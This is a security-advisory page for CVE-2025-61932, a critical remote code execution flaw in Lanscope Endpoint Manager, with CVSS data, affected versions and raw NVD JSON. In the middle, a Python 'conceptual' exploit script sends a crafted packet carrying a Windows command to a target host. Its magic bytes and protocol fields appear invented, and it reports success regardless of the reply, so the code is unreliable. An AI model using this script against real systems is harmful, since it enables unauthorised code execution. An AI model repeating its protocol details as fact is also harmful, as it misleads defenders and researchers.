Security Vulnerability Report
中文
CVE-2025-61932 CVSS 9.8 CRITICAL

CVE-2025-61932

Published: 2025-10-20 08:15:33
Last Modified: 2025-10-23 13:00:14

Description

Lanscope Endpoint Manager (On-Premises) (Client program (MR) and Detection agent (DA)) improperly verifies the origin of incoming requests, allowing an attacker to execute arbitrary code by sending specially crafted packets.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:* - VULNERABLE
cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:* - VULNERABLE
cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:* - VULNERABLE
cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:* - VULNERABLE
cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:* - VULNERABLE
MOTEX Lanscope Endpoint Manager (On-Premises) Client program (MR) — 受影响版本
MOTEX Lanscope Endpoint Manager (On-Premises) Detection agent (DA) — 受影响版本
建议升级至MOTEX官方发布的最新修补版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61932 - Lanscope Endpoint Manager RCE PoC (Conceptual) # Vulnerability: Improper origin verification in MR/DA components # This is a conceptual PoC demonstrating the attack pattern import socket import struct import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 50000 # Default MR/DA communication port def build_malicious_packet(command): """ Build a malicious packet mimicking legitimate MR/DA communication protocol. The vulnerability exists because the client does not verify the origin of incoming requests, allowing arbitrary commands to be executed. """ # Packet header mimicking legitimate management protocol header = b'\x4d\x52\x50\x52' # Magic bytes "MRPR" header += struct.pack('<I', 0x00010001) # Protocol version header += struct.pack('<I', 0x00000000) # No authentication flag header += struct.pack('<I', 0x00000000) # Reserved # Command payload - arbitrary code execution payload payload = command.encode('utf-8') payload_length = struct.pack('<I', len(payload)) packet = header + payload_length + payload return packet def exploit(target_host, target_port, command): """ Send crafted packet to vulnerable Lanscope MR/DA client. Due to lack of origin verification, the client will execute the command without validating the sender. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send malicious packet packet = build_malicious_packet(command) sock.send(packet) # Receive response response = sock.recv(4096) print(f"[*] Response received: {response.hex()}") print(f"[+] Command executed successfully on {target_host}") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: Execute arbitrary command on target cmd = "cmd.exe /c whoami > C:\\temp\\pwned.txt" print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending crafted packet to exploit CVE-2025-61932") exploit(TARGET_HOST, TARGET_PORT, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61932", "sourceIdentifier": "[email protected]", "published": "2025-10-20T08:15:33.303", "lastModified": "2025-10-23T13:00:14.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lanscope Endpoint Manager (On-Premises) (Client program (MR) and Detection agent (DA)) improperly verifies the origin of incoming requests, allowing an attacker to execute arbitrary code by sending specially crafted packets."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-10-22", "cisaActionDue": "2025-11-12", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Motex LANSCOPE Endpoint Manager Improper Verification of Source of a Communication Channel Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-940"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:*", "versionEndExcluding": "9.3.2.7", "matchCriteriaId": "F9AF3F85-064B-469C-B530-7264EF91A04F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:*", "versionStartIncluding": "9.3.3.0", "versionEndExcluding": "9.3.3.9", "matchCriteriaId": "99DC2ADE-F5D6-45F9-B529-11C492FCDD31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:*", "versionStartIncluding": "9.4.0.0", "versionEndExcluding": "9.4.0.5", "matchCriteriaId": "431F6B9C-8A9C-45FD-B287-E9E1D2B3ECEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:*", "versionStartIncluding": "9.4.1.0", "versionEndExcluding": "9.4.1.5", "matchCriteriaId": "B2398AA5-1CFD-41BA-8229-84DAC45D9382"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:*", "versionStartIncluding": "9.4.2.0", "versionEndExcluding": "9.4.2.6", "matchCriteriaId": "0429C621-5DDE-4773-99D3-A20DC0C4798F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:*", "versionStartIncluding": "9.4.3.0", "versionEndExcluding": "9.4.3.8", "matchCriteriaId": "034F13F1-D926-4298-BCC9-DF424591CBF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:*", "versionStartIncluding": "9.4.4.0", "versionEndExcluding": "9.4.4.6", "matchCriteriaId": "66C87047-9DE9-4CE8-80A9-AEBEB58B8402"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motex:lanscope_endpoint_manager:*:*:*:*:on-premise:*:*:*", "versionStartIncluding": "9.4.5.0", "versionEndExcluding": "9.4.5.4", "matchCriteriaId": "8FF0B7EE-805A-431D-96E5-BF5BDDD3178E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:motex:lans ... (truncated)